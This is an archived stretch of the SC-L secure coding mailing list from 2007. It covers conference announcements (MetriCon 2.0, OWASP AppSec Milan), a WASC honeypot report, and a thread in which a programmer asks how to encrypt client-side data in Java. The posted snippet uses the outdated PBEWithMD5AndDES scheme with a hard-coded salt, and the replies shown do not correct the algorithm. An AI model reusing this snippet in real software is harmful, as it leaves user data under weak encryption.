> track ( http://securitymetrics.org/content/Wiki.jsp?page=Metricon1.0),
> including:
>
> * A Metric for Evaluating Static Analysis Tools - Chess & Tsipenyuk,
> Fortify
> * An Attack Surface Metric - Manadhata & Wing, Carnegie-Mellon
> * "Good enough" Metrics - Epstein, WebMethods
> * Software Security Patterns and Risk - Heyman & Huygens, U of Leuven
> * Code Metrics - Chandra, Secure Software
>
> -gp
>
> Second Workshop on Security Metrics (MetriCon 2.0) ? Call for Papers
> MetriCon 2.0 CFP
>
> August 7, 2007 Boston, MA
>
> Overview
>
> Do you cringe at the subjectivity applied to security in every manner? If
> so, MetriCon 2.0 may be your antidote to change security from an artistic
> "matter of opinion" into an objective, quantifiable science. The time for
> adjectives and adverbs has gone; the time for hard facts and data has
> come.
>
> MetriCon 2.0 is intended as a forum for lively, practical discussion in
> the
> area of security metrics. It is a forum for quantifiable approaches and
> results to problems afflicting information security today, with a bias
> towards practical, specific implementations. Topics and presentations will
> be selected for their potential to stimulate discussion in the Workshop.
>
> MetriCon 2.0 will be a one-day event, Tuesday, August 7, 2007, co-located
> with the 16th USENIX Security Symposium in Boston, MA, USA
> (http://www.usenix.org/events/sec07/). Beginning first thing in the
> morning,
> with meals taken in the meeting room, and extending into the evening.
> Attendance will be by invitation and limited to 60 participants. All
> participants will be expected to "come with findings" and be willing to
> address the group in some fashion, formally or not. Preference given to
> the
> authors of position papers/presentations who have actual work in progress.
>
> Each presenter will have 10-15 minutes to present his or her idea,
> followed
> by 15-20 minutes of discussion with the workshop participants. Panels and
> groups of related presentations may be proposed to present different
> approaches to selected topics, and will be steered by what sorts of
> proposals come in response to this Call.
>
>
> Goals and Topics
>
> The goal of the workshop is to stimulate discussion of and thinking about
> security metrics and to do so in ways that lead to realistic, early
> results
> of lasting value. Potential attendees are invited to submit position
> papers
> to be shared with all. Such position papers are expected to address
> security
> metrics in one of the following categories:
>
> Benchmarking
> Empirical Studies
> Metrics Definitions
> Financial Planning
> Security/Risk Modeling
> Tools, Technologies, Tips, and Tricks
> Visualization
> Practical implementations, real world case studies, and detailed models
> will
> be preferred over broader models or general ideas.
>
> How to Participate
>
> Submit a short position paper or description of work done/ongoing. Your
> submission must be no longer than five(5) paragraphs or presentation
> slides.
> Author names and affiliations should appear first in/on the submission.
> Submissions may be in PDF, PowerPoint, HTML, or plaintext email and must
> be
> submitted to MetriCon AT securitymetrics.org.
>
> Presenters will be notified of acceptance by June 22, 2007 and expected to
> provide materials for distribution by July 22, 2007. All slides and
> position
> papers will be made available to participants at the workshop. No formal
> proceedings are intended. Plagiarism constitutes dishonesty. The
> organizers
> of this Workshop as well as USENIX prohibit these practices and will take
> appropriate action if dishonesty of this sort is found. Submission of
> recent, previously published work as well as simultaneous submissions to
> multiple venues is acceptable but please so indicate in your proposal.
>
> Location
>
> MetriCon 2.0 will be co-located with the 16th USENIX Security Symposium
> (Security ?07). (http://www.usenix.org/events/sec07/)
> Cost
>
> $200 all-inclusive of meeting space, materials preparation, and meals for
> the day.
> Important Dates
>
> Requests to participate: by May 11, 2007
> Notification of acceptance: by June 22, 2007
> Materials for distribution: by July 22, 2007
> Workshop Organizers
>
> Fred Cohen, Fred Cohen & Associates
> Jeremy Epstein, webMethods
> Dan Geer, Geer Risk Services
> Andrew Jaquith, Yankee Group
> Elizabeth Nichols, ClearPoint Metrics, Co-Chair
> Gunnar Peterson, Arctec Group, Co-Chair
> Russell Cameron Thomas, Meritology
>
>
>
>
>
> ------------------------------
>
> _______________________________________________
> SC-L mailing list
> SC-L at securecoding.org
> http://krvw.com/mailman/listinfo/sc-l
>
>
> End of SC-L Digest, Vol 3, Issue 81
> ***********************************
>



-- 
THE INFORMATION CONTAINED IN THIS MESSAGE AND ANY ATTACHMENT MAY BE
PRIVILEGED, CONFIDENTIAL, PROPRIETARY OR OTHERWISE PROTECTED FROM
DISCLOSURE. If the reader of this message is not the intended recipient, you
are hereby notified that any dissemination, distribution, copying or use of
this message and any attachment is strictly prohibited. If you have received
this message in error, please notify us immediately by replying to the
message and permanently delete it from your computer and destroy any
printout thereof.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070424/43ac9da4/attachment-0001.html 

From ge at linuxbox.org  Wed Apr 25 07:14:16 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Wed, 25 Apr 2007 06:14:16 -0500 (CDT)
Subject: [SC-L] MetriCon 2.0 CFP
In-Reply-To: <C2540EA0.90F3%gunnar@arctecgroup.net>
Message-ID: <Pine.LNX.4.21.0704250612320.5367-100000@linuxbox.org>

On Tue, 24 Apr 2007, Gunnar Peterson wrote:
> Book is here
> 
> "Security Metrics: Replacing Fear, Uncertainty, and Doubt" by Andrew Jaquith

I thought it was about ROSI all over again? Having been to and spoken at
several CISO conferences, I stayed away from this book up to now.

> http://www.amazon.com/Security-Metrics-Replacing-Uncertainty-Doubt/dp/032134
> 9989
> 
> I am halfway through and it is excellent so far, will post a review soon.
> Not sure how the security industry as we know it will get by without fud.

Pretty good! Thank you very much. The problem of teaching security
practitioners on how to "speak" without FUD, even if they don't see it as
FUD, is just as great.

	Gadi.

> 
> -gp
> 
> On 4/24/07 7:32 PM, "Gary McGraw" <gem at cigital.com> wrote:
> 
> > Plus, check out Andrew Jaquith's excellent book:
> > 
> >  -----Original Message-----
> > From:  Gunnar Peterson [mailto:gunnar at arctecgroup.net]
> > Sent: Tue Apr 24 20:14:53 2007
> > To: Secure Mailing List
> > Subject: [SC-L] MetriCon 2.0 CFP
> > 
> > Last year's conference, MetriCon 1.0 featured a software security metrics
> > track ( http://securitymetrics.org/content/Wiki.jsp?page=Metricon1.0),
> > including:
> > 
> > * A Metric for Evaluating Static Analysis Tools - Chess & Tsipenyuk, Fortify
> > * An Attack Surface Metric - Manadhata & Wing, Carnegie-Mellon
> > * "Good enough" Metrics - Epstein, WebMethods
> > * Software Security Patterns and Risk - Heyman & Huygens, U of Leuven
> > * Code Metrics - Chandra, Secure Software
> > 
> > -gp
> > 
> > Second Workshop on Security Metrics (MetriCon 2.0) < Call for Papers
> > MetriCon 2.0 CFP
> > 
> > August 7, 2007 Boston, MA
> > 
> > Overview
> > 
> > Do you cringe at the subjectivity applied to security in every manner? If
> > so, MetriCon 2.0 may be your antidote to change security from an artistic
> > "matter of opinion" into an objective, quantifiable science. The time for
> > adjectives and adverbs has gone; the time for hard facts and data has come.
> > 
> > MetriCon 2.0 is intended as a forum for lively, practical discussion in the
> > area of security metrics. It is a forum for quantifiable approaches and
> > results to problems afflicting information security today, with a bias
> > towards practical, specific implementations. Topics and presentations will
> > be selected for their potential to stimulate discussion in the Workshop.
> > 
> > MetriCon 2.0 will be a one-day event, Tuesday, August 7, 2007, co-located
> > with the 16th USENIX Security Symposium in Boston, MA, USA
> > (http://www.usenix.org/events/sec07/). Beginning first thing in the morning,
> > with meals taken in the meeting room, and extending into the evening.
> > Attendance will be by invitation and limited to 60 participants. All
> > participants will be expected to "come with findings" and be willing to
> > address the group in some fashion, formally or not. Preference given to the
> > authors of position papers/presentations who have actual work in progress.
> > 
> > Each presenter will have 10-15 minutes to present his or her idea, followed
> > by 15-20 minutes of discussion with the workshop participants. Panels and
> > groups of related presentations may be proposed to present different
> > approaches to selected topics, and will be steered by what sorts of
> > proposals come in response to this Call.
> > 
> > 
> > Goals and Topics
> > 
> > The goal of the workshop is to stimulate discussion of and thinking about
> > security metrics and to do so in ways that lead to realistic, early results
> > of lasting value. Potential attendees are invited to submit position papers
> > to be shared with all. Such position papers are expected to address security
> > metrics in one of the following categories:
> > 
> > Benchmarking
> > Empirical Studies
> > Metrics Definitions
> > Financial Planning
> > Security/Risk Modeling
> > Tools, Technologies, Tips, and Tricks
> > Visualization
> > Practical implementations, real world case studies, and detailed models will
> > be preferred over broader models or general ideas.
> > 
> > How to Participate
> > 
> > Submit a short position paper or description of work done/ongoing. Your
> > submission must be no longer than five(5) paragraphs or presentation slides.
> > Author names and affiliations should appear first in/on the submission.
> > Submissions may be in PDF, PowerPoint, HTML, or plaintext email and must be
> > submitted to MetriCon AT securitymetrics.org.
> > 
> > Presenters will be notified of acceptance by June 22, 2007 and expected to
> > provide materials for distribution by July 22, 2007. All slides and position
> > papers will be made available to participants at the workshop. No formal
> > proceedings are intended. Plagiarism constitutes dishonesty. The organizers
> > of this Workshop as well as USENIX prohibit these practices and will take
> > appropriate action if dishonesty of this sort is found. Submission of
> > recent, previously published work as well as simultaneous submissions to
> > multiple venues is acceptable but please so indicate in your proposal.
> > 
> > Location
> > 
> > MetriCon 2.0 will be co-located with the 16th USENIX Security Symposium
> > (Security ?07). (http://www.usenix.org/events/sec07/)
> > Cost
> > 
> > $200 all-inclusive of meeting space, materials preparation, and meals for
> > the day.
> > Important Dates
> > 
> > Requests to participate: by May 11, 2007
> > Notification of acceptance: by June 22, 2007
> > Materials for distribution: by July 22, 2007
> > Workshop Organizers
> > 
> > Fred Cohen, Fred Cohen & Associates
> > Jeremy Epstein, webMethods
> > Dan Geer, Geer Risk Services
> > Andrew Jaquith, Yankee Group
> > Elizabeth Nichols, ClearPoint Metrics, Co-Chair
> > Gunnar Peterson, Arctec Group, Co-Chair
> > Russell Cameron Thomas, Meritology
> > 
> > 
> > 
> > _______________________________________________
> > Secure Coding mailing list (SC-L) SC-L at securecoding.org
> > List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> > List charter available at - http://www.securecoding.org/list/charter.php
> > SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> > as a free, non-commercial service to the software security community.
> > _______________________________________________
> > 
> > 
> 
> -- 
> Gunnar Peterson, Managing Principal, Arctec Group
> http://www.arctecgroup.net
> 
> SOA, Web Services and XML Security & Web Application Security Training
> 
> Schedule of Public Classes
> May 7 Washington/Baltimore (WSSC Conference)
> May 15 Milan (OWASP App Sec Conference)
> July 17-19 Washington/Baltimore
> 
> Details and registration info on Arctec Group and Aspect Security classes
> http://www.aspectsecurity.com/public_training.htm
> 
> Blog: http://1raindrop.typepad.com
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 



From lists at ticm.com  Wed Apr 25 06:30:12 2007
From: lists at ticm.com (Bret Watson)
Date: Wed, 25 Apr 2007 18:30:12 +0800
Subject: [SC-L] MetriCon 2.0 CFP
In-Reply-To: <83B3489DF1064F4E90218770D953D36113F279@va-mail.cigital.com
 >
References: <83B3489DF1064F4E90218770D953D36113F279@va-mail.cigital.com>
Message-ID: <5pqpkn$26l9pn@iinet-mail.icp-qv1-irony10.iinet.net.au>

You know its a little off topic - but I'd kill for a set of metrics 
around the effectiveness/efficiency of a SOC :)

Anyone got any ideas? The usual "events per person" type metrics are 
backwards (good security means less events so lower "efficiency"

Thanks

Bret


From gunnar at arctecgroup.net  Wed Apr 25 07:45:09 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Wed, 25 Apr 2007 06:45:09 -0500
Subject: [SC-L] MetriCon 2.0 CFP
In-Reply-To: <Pine.LNX.4.21.0704250612320.5367-100000@linuxbox.org>
Message-ID: <C254A975.9111%gunnar@arctecgroup.net>

> I thought it was about ROSI all over again? Having been to and spoken at
> several CISO conferences, I stayed away from this book up to now.
> 

Actually, Andy hits that in the preface

"Mercifully, the ROI fad has gone the way of the Macarena"

Instead the book (and conference) are about - how to measure security, how
to analyze the data, and how to tell a story

-gp


>> http://www.amazon.com/Security-Metrics-Replacing-Uncertainty-Doubt/dp/032134
>> 9989
>> 
>> I am halfway through and it is excellent so far, will post a review soon.
>> Not sure how the security industry as we know it will get by without fud.
> 
> Pretty good! Thank you very much. The problem of teaching security
> practitioners on how to "speak" without FUD, even if they don't see it as
> FUD, is just as great.
> 
> Gadi.
> 
>> 
>> -gp
>> 
>> On 4/24/07 7:32 PM, "Gary McGraw" <gem at cigital.com> wrote:
>> 
>>> Plus, check out Andrew Jaquith's excellent book:
>>> 
>>>  -----Original Message-----
>>> From:  Gunnar Peterson [mailto:gunnar at arctecgroup.net]
>>> Sent: Tue Apr 24 20:14:53 2007
>>> To: Secure Mailing List
>>> Subject: [SC-L] MetriCon 2.0 CFP
>>> 
>>> Last year's conference, MetriCon 1.0 featured a software security metrics
>>> track ( http://securitymetrics.org/content/Wiki.jsp?page=Metricon1.0),
>>> including:
>>> 
>>> * A Metric for Evaluating Static Analysis Tools - Chess & Tsipenyuk, Fortify
>>> * An Attack Surface Metric - Manadhata & Wing, Carnegie-Mellon
>>> * "Good enough" Metrics - Epstein, WebMethods
>>> * Software Security Patterns and Risk - Heyman & Huygens, U of Leuven
>>> * Code Metrics - Chandra, Secure Software
>>> 
>>> -gp
>>> 
>>> Second Workshop on Security Metrics (MetriCon 2.0) < Call for Papers
>>> MetriCon 2.0 CFP
>>> 
>>> August 7, 2007 Boston, MA
>>> 
>>> Overview
>>> 
>>> Do you cringe at the subjectivity applied to security in every manner? If
>>> so, MetriCon 2.0 may be your antidote to change security from an artistic
>>> "matter of opinion" into an objective, quantifiable science. The time for
>>> adjectives and adverbs has gone; the time for hard facts and data has come.
>>> 
>>> MetriCon 2.0 is intended as a forum for lively, practical discussion in the
>>> area of security metrics. It is a forum for quantifiable approaches and
>>> results to problems afflicting information security today, with a bias
>>> towards practical, specific implementations. Topics and presentations will
>>> be selected for their potential to stimulate discussion in the Workshop.
>>> 
>>> MetriCon 2.0 will be a one-day event, Tuesday, August 7, 2007, co-located
>>> with the 16th USENIX Security Symposium in Boston, MA, USA
>>> (http://www.usenix.org/events/sec07/). Beginning first thing in the morning,
>>> with meals taken in the meeting room, and extending into the evening.
>>> Attendance will be by invitation and limited to 60 participants. All
>>> participants will be expected to "come with findings" and be willing to
>>> address the group in some fashion, formally or not. Preference given to the
>>> authors of position papers/presentations who have actual work in progress.
>>> 
>>> Each presenter will have 10-15 minutes to present his or her idea, followed
>>> by 15-20 minutes of discussion with the workshop participants. Panels and
>>> groups of related presentations may be proposed to present different
>>> approaches to selected topics, and will be steered by what sorts of
>>> proposals come in response to this Call.
>>> 
>>> 
>>> Goals and Topics
>>> 
>>> The goal of the workshop is to stimulate discussion of and thinking about
>>> security metrics and to do so in ways that lead to realistic, early results
>>> of lasting value. Potential attendees are invited to submit position papers
>>> to be shared with all. Such position papers are expected to address security
>>> metrics in one of the following categories:
>>> 
>>> Benchmarking
>>> Empirical Studies
>>> Metrics Definitions
>>> Financial Planning
>>> Security/Risk Modeling
>>> Tools, Technologies, Tips, and Tricks
>>> Visualization
>>> Practical implementations, real world case studies, and detailed models will
>>> be preferred over broader models or general ideas.
>>> 
>>> How to Participate
>>> 
>>> Submit a short position paper or description of work done/ongoing. Your
>>> submission must be no longer than five(5) paragraphs or presentation slides.
>>> Author names and affiliations should appear first in/on the submission.
>>> Submissions may be in PDF, PowerPoint, HTML, or plaintext email and must be
>>> submitted to MetriCon AT securitymetrics.org.
>>> 
>>> Presenters will be notified of acceptance by June 22, 2007 and expected to
>>> provide materials for distribution by July 22, 2007. All slides and position
>>> papers will be made available to participants at the workshop. No formal
>>> proceedings are intended. Plagiarism constitutes dishonesty. The organizers
>>> of this Workshop as well as USENIX prohibit these practices and will take
>>> appropriate action if dishonesty of this sort is found. Submission of
>>> recent, previously published work as well as simultaneous submissions to
>>> multiple venues is acceptable but please so indicate in your proposal.
>>> 
>>> Location
>>> 
>>> MetriCon 2.0 will be co-located with the 16th USENIX Security Symposium
>>> (Security ?07). (http://www.usenix.org/events/sec07/)
>>> Cost
>>> 
>>> $200 all-inclusive of meeting space, materials preparation, and meals for
>>> the day.
>>> Important Dates
>>> 
>>> Requests to participate: by May 11, 2007
>>> Notification of acceptance: by June 22, 2007
>>> Materials for distribution: by July 22, 2007
>>> Workshop Organizers
>>> 
>>> Fred Cohen, Fred Cohen & Associates
>>> Jeremy Epstein, webMethods
>>> Dan Geer, Geer Risk Services
>>> Andrew Jaquith, Yankee Group
>>> Elizabeth Nichols, ClearPoint Metrics, Co-Chair
>>> Gunnar Peterson, Arctec Group, Co-Chair
>>> Russell Cameron Thomas, Meritology
>>> 
>>> 
>>> 
>>> _______________________________________________
>>> Secure Coding mailing list (SC-L) SC-L at securecoding.org
>>> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
>>> List charter available at - http://www.securecoding.org/list/charter.php
>>> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
>>> as a free, non-commercial service to the software security community.
>>> _______________________________________________
>>> 
>>> 
>> 
>> -- 
>> Gunnar Peterson, Managing Principal, Arctec Group
>> http://www.arctecgroup.net
>> 
>> SOA, Web Services and XML Security & Web Application Security Training
>> 
>> Schedule of Public Classes
>> May 7 Washington/Baltimore (WSSC Conference)
>> May 15 Milan (OWASP App Sec Conference)
>> July 17-19 Washington/Baltimore
>> 
>> Details and registration info on Arctec Group and Aspect Security classes
>> http://www.aspectsecurity.com/public_training.htm
>> 
>> Blog: http://1raindrop.typepad.com
>> 
>> 
>> 
>> _______________________________________________
>> Secure Coding mailing list (SC-L) SC-L at securecoding.org
>> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
>> List charter available at - http://www.securecoding.org/list/charter.php
>> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
>> as a free, non-commercial service to the software security community.
>> _______________________________________________
>> 
> 

-- 
Gunnar Peterson, Managing Principal, Arctec Group
http://www.arctecgroup.net

SOA, Web Services and XML Security & Web Application Security Training

Schedule of Public Classes
May 7 Washington/Baltimore (WSSC Conference)
May 15 Milan (OWASP App Sec Conference)
July 17-19 Washington/Baltimore

Details and registration info on Arctec Group and Aspect Security classes
http://www.aspectsecurity.com/public_training.htm

Blog: http://1raindrop.typepad.com




From dave.wichers at owasp.org  Fri Apr 27 13:39:38 2007
From: dave.wichers at owasp.org (Dave Wichers)
Date: Fri, 27 Apr 2007 13:39:38 -0400
Subject: [SC-L] Final Announcement: 6th OWASP AppSec Conference - May 15-17
	2007 - Milan, Italy
Message-ID: <03b001c788f3$07e5a730$17b0f590$@wichers@owasp.org>

Dear OWASP Colleague,

 

The agenda for the 6th Application Security Conference May 15-17 in Milan
has been set, the dinner location determined, and all the details are coming
together. Please check out the updated details at:
http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007.

 

HOTEL REMINDER: The room block at the Marriott is being held through the end
of April, so please BOOK SOON if you want to get into the hotel at the
conference rate.

 

This conference will include:

- Training (On May 15th) Three 1-day application security courses are being
offered the day prior to the conference

- Main Conference (May 16-17) This year's conference will include daily
keynotes, presentations, refereed papers, lots of OWASP projects, and two
panels to encourage discussion amongst the attendees.

- Evening Social Event (May 16) - This year's social event will be at
Ristorante Why Not?

 

REGISTRATION DETAILS: As a non-profit charitable organization, OWASP has
been able to keep the cost to 450 Euro's per seat. For OWASP Members it's
only 400 Euros.

 

Note: Payment for the conference will actually have to be in US dollars as
OWASP currently has no mechanism for accepting Euro's for payment with our
current registration system.

 

Registration is available at: 

http://guest.cvent.com/EVENTS/Register/IdentityConfirmation.aspx?e=4abc935c-
a7f8-47e1-83a0-23a2c36faf26 

 

PLEASE NOTE THAT ALL TICKETS ARE NON-REFUNDABLE TO REDUCE ADMINISTRATION
COSTS

 

TRAINING COURSES (May 15):

These classes will be held at the Marriott. Each class is 650 Euros for
conference attendees (and includes lunch).

 

  - FOUNDATIONS OF APPLICATION SECURITY

  - WEB SERVICES AND XML SECURITY

  - ADVANCED .NET SECURITY

 

More details on these training courses are available at: 

http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007/Trai
ning 

 

ACCOMMODATIONS: Information about local accommodations, including reduced
rate rooms is available at:

http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007#Acco
modations 

 

If you know others that would be interested in attending the 6th OWASP
AppSec Conference, please forward them this email and let them know about
this opportunity.

 

Please contact me with any questions. Looking forward to seeing you all
there!

 

Thanks, Dave

 

Dave Wichers, OWASP Conferences Chair

The OWASP Foundation

http://www.owasp.org

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070427/d7f1aed4/attachment.html 

From announcements at webappsec.org  Mon May  7 18:50:04 2007
From: announcements at webappsec.org (announcements at webappsec.org)
Date: Mon, 7 May 2007 18:50:04 -0400 (EDT)
Subject: [SC-L] WASC Announcement: Distributed Open Proxy Honeypot Project
	Data Released
Message-ID: <20070507225004.68520.qmail@cgisecurity.net>

The Web Application Security Consortium (WASC) is pleased to announce the
inital release of data collected by the Distributed Open Proxy
Honeypot Project.  This first release of information is for data gathered
from January - April, 2007.  During this timeframe, we had 7 internationally
placed honeypot sensors deployed and sending their data back to our central
logging host.

What did we see?  Here are some brief highlights -

   - SQL Injection Attacks
   - Brute Force Attacks
   - OS Command Injection
   - Web Defacement Attempts
   - Google-Abuses (Google-Hacking and Proxying for BannerAd/Click Fraud)
   - Information Leakage

We have created a PDF document here -
http://www.webappsec.org/projects/honeypots/Threat_Report_05072007.pdf
.  The attacks are mapped to the WASC Threat Classification categories.
There are some high-level statistics shown, however they are very crude as
this was not the focus of this phase of the project.  We understand that the
data presented is a bit raw, however we wanted to release this information
so that the public may have a chance to review it and provide feedback.  Our
initial goal was to identify the types of current attacks that are using
open proxy servers.  In our future deployments, we will attempt to refine
the data analysis processes to extract out trend data and high level
concepts. In the near future, we will be updating both the VMware honeypot
sensors themselves and will also use a newer version of the centralize
logging host (ModSecurity Console).

We are also planning to release more frequent information in the form of
diary entries on the project webpage as new attacks/trends are identified.

While the initial deployment was a success, we still need participants who
are willing to participate by deploying our VMware honeypot sensor on their
network.  If you are interested in participating, please send an email to
Ryan Barnett at - RCBarnett_ at _gmail.com.

URL:
http://www.webappsec.org/projects/honeypots/

Regards,

-- 
Ryan C. Barnett
Web Application Security Consortium (WASC) Member
Distributed Open Proxy Honeypot Project Lead

From robin at kallisti.net.nz  Tue May  8 06:09:26 2007
From: robin at kallisti.net.nz (Robin Sheat)
Date: Tue, 8 May 2007 22:09:26 +1200
Subject: [SC-L] Best practices for encrypting client-side data
Message-ID: <200705082209.35541.robin@kallisti.net.nz>

I'm no security professional, just a programmer with a healthy interest in it, 
most of what I've gleaned has come from lists such as this, and the various 
securityfocus ones.

A little while ago I was asked to implement something that I didn't have much 
of a low-level idea of, so I hope here is an appropriate place to ask.

Basically, I needed to encrypt the on-disk format of some data that is 
accessed as a seekable file (it's actually a Lucene index, but the details 
aren't too relevant). The use case for this is to ensure the data is kept 
private, even if the disk or computer the data is on is taken (it's a 
network-aware client app, so they log in to the program using a username and 
password).

What I did was take the user's password to create a key (Java follows):
	paramSpec = new PBEParameterSpec(salt, iteration);
	PBEKeySpec keySpec = new PBEKeySpec(password.toCharArray());
	SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
	key = kf.generateSecret(keySpec);

this key is then used to initialise a cipher. The IV for the cipher is created 
by the Java crypto system, and that is then written to the head of the 
stream. Following that is an encrypted 'magic number', and the encrypted 
data. Note that this happens when the file is closed, in the interim it is 
buffered in RAM (due to the need to be able to seek anywhere within the file 
while writing).

Decryption follows an (obviously) similar process, the key is generated as 
above, the IV is read from the head of the stream and used to start the 
cipher going, the magic number is checked to ensure it is what it should be 
(so I know that decryption is happening correctly), and then the stream is 
read and decrypted into memory.

There are some maybe-issues I'm aware of, but I'm not confident in my ability 
to tell how significant they are, I'd appreciate any suggestions or comments.

* Buffering in RAM is an issue as it could get swapped out etc. I'd like to 
know of any recommendations for creating a seekable, encrypted file.

* The salt is currently hard-coded. It should be regenerated for every 
encryption operation in order to make it that much harder (question: should 
it be a different salt used for every file encrypted by a user, or one salt 
across all files by that user? Does it matter?)

* Is it wise to use the user's password directly, or should that perhaps be 
used to encrypt a key, and that key used to encrypt the files? This would 
certainly make changing the password easier, but if that key is ever 
compromised, it's a bigger issue.

* The Java crypto system looks like black-magic. I haven't seen many things 
that talk about how to use it well. How do I know I'm not using it in some 
vulnerable fashion?

* Is it OK to have the IV exposed like that, or should it be kept hidden 
somehow? The impression I have is that it's OK for it to be known, so long as 
it changes every time the file is written.

I know this is a bit off the vulnerability theme that this list often takes, 
but I hope it's considered relevant enough to dig up some input.

Cheers,
-- 
Robin <robin at kallisti.net.nz> JabberID: <eythian at jabber.kallisti.net.nz>

Hostes alienigeni me abduxerunt. Qui annus est?

PGP Key 0xA99CEB6D = 5957 6D23 8B16 EFAB FEF8  7175 14D3 6485 A99C EB6D
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070508/d4ac14c3/attachment.bin 

From BlueBoar at thievco.com  Tue May  8 13:04:53 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Tue, 08 May 2007 10:04:53 -0700
Subject: [SC-L] Best practices for encrypting client-side data
In-Reply-To: <200705082209.35541.robin@kallisti.net.nz>
References: <200705082209.35541.robin@kallisti.net.nz>
Message-ID: <4640ADB5.5000404@thievco.com>

Robin Sheat wrote:
> Basically, I needed to encrypt the on-disk format of some data that is 
> accessed as a seekable file (it's actually a Lucene index, but the details 
> aren't too relevant). The use case for this is to ensure the data is kept 
> private, even if the disk or computer the data is on is taken (it's a 
> network-aware client app, so they log in to the program using a username and 
> password).

You go on to describe (I think) crypto operations that take place
completely on the client site. What is the relationship between the
encrypted data and server client->server communications?

> * The salt is currently hard-coded. It should be regenerated for every 
> encryption operation in order to make it that much harder (question: should 
> it be a different salt used for every file encrypted by a user, or one salt 
> across all files by that user? Does it matter?)

You should have a random salt every time you generate a hash or key.

> * Is it wise to use the user's password directly, or should that perhaps be 
> used to encrypt a key, and that key used to encrypt the files? This would 
> certainly make changing the password easier, but if that key is ever 
> compromised, it's a bigger issue.

You can get a little extra security with an encrypted keyfile for
certain attack scenarios if done properly. With your design, if I have
only the encrypted file, I can start brute-forcing passwords
immediately. Might not be practical, depending on how big the salt is,
and whether I got that too.

If there's an encrypted keyfile, I have to steal that too, plus I still
have the exact same amount of brute forcing to do. So, the decisions
depends on whether stealing the encrypted data almost always allows me
to steal the keyfile, or if you can do something significant;y better,
like having the user store the keyfile on a USB drive or the remote
server or something.

In order to not have created an irrevocable encryption key, every time
the user changes their password, you should create a new encryption key
and re-encrypt the data with that key, rendering the old stolen keyfile
useless.

> 
> * The Java crypto system looks like black-magic. I haven't seen many things 
> that talk about how to use it well. How do I know I'm not using it in some 
> vulnerable fashion?

I can't help you there. I know nothing about Java's implementation
details, nor can I tell if you've created a stream cipher that can be
decrypted by XORing with itself or something else silly.

					Ryan

From ljknews at mac.com  Tue May  8 10:11:05 2007
From: ljknews at mac.com (ljknews)
Date: Tue, 8 May 2007 10:11:05 -0400
Subject: [SC-L] Best practices for encrypting client-side data
In-Reply-To: <200705082209.35541.robin@kallisti.net.nz>
References: <200705082209.35541.robin@kallisti.net.nz>
Message-ID: <p05200f2fc26634222dcb@[192.168.1.254]>

At 10:09 PM +1200 5/8/07, Robin Sheat wrote:
> Content-Type: multipart/signed; boundary="nextPart6783111.ysaAiqc79P";
> 	protocol="application/pgp-signature"; micalg=pgp-sha1
> Content-Transfer-Encoding: 7bit
> 
> I'm no security professional, just a programmer with a healthy interest in it, 
> most of what I've gleaned has come from lists such as this, and the various 
> securityfocus ones.
> 
> A little while ago I was asked to implement something that I didn't have much 
> of a low-level idea of, so I hope here is an appropriate place to ask.
> 
> Basically, I needed to encrypt the on-disk format of some data that is 
> accessed as a seekable file (it's actually a Lucene index, but the details 
> aren't too relevant). The use case for this is to ensure the data is kept 
> private, even if the disk or computer the data is on is taken (it's a 
> network-aware client app, so they log in to the program using a username and 
> password).

There should be concern that the computer might be temporarily stolen to
install a keyboard sniffer and then returned for long enough to scarf
up the password.

What protections do you have to prevent the user from choosing the same
password for some _other_ system ?  The smart thief will obtain the user
password before stealing the box.

I would suggest two factor authentication, requiring some smart card
(with built-in keypad, to prevent intercept of the pin) that actually
provides the decryption.  Make the user keep the smart card with them,
such as by requiring it for entrance to the cafeteria or rest room.

Obviously other smart card features are in order, such as going dead
after N bad tries at the pin, and a duress code.
-- 
Larry Kilgallen

From secureCoding2dave at davearonson.com  Tue May  8 11:00:12 2007
From: secureCoding2dave at davearonson.com (SC-L Subscriber Dave Aronson)
Date: Tue, 08 May 2007 15:00:12 +0000
Subject: [SC-L] Best practices for encrypting client-side data
Message-ID: <W358783500260351178636412@webmail2>

Robin Sheat [mailto:robin at kallisti.net.nz] wonders:

 > What I did was take the user's password to create a key

What happens when the user changes his password?  I didn't quite follow it all, but it looks to me like that means that all of a user's data has to be decrypted and re-encrypted.  You didn't tell us how much data that is, so I'm going to ass-u-me that it *could* be a lot.

Perhaps you could base the encryption on more stable data, such as the user name combined with when the user joined.  This could be used to encrypt the data directly, or, as you proposed, to encrypt the actual key.  How difficult would it be for the attacker to figure out whose data something is, and when they joined, or whatever else you base your encryption on, AND the fact that that's how you encrypt?  If finding that out would be pretty much trivial, there goes all your protection, under the above scheme.

Also, just how secure do you need it to be?  Don't waste a thousand-dollar lock on a fifty-dollar bicycle.  Is this data actually a tempting target for attackers who are clueful and resourceful (in both the senses of "clever" and "able to spend a lot")?

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/




From robin at kallisti.net.nz  Wed May  9 19:47:00 2007
From: robin at kallisti.net.nz (Robin Sheat)
Date: Thu, 10 May 2007 11:47:00 +1200
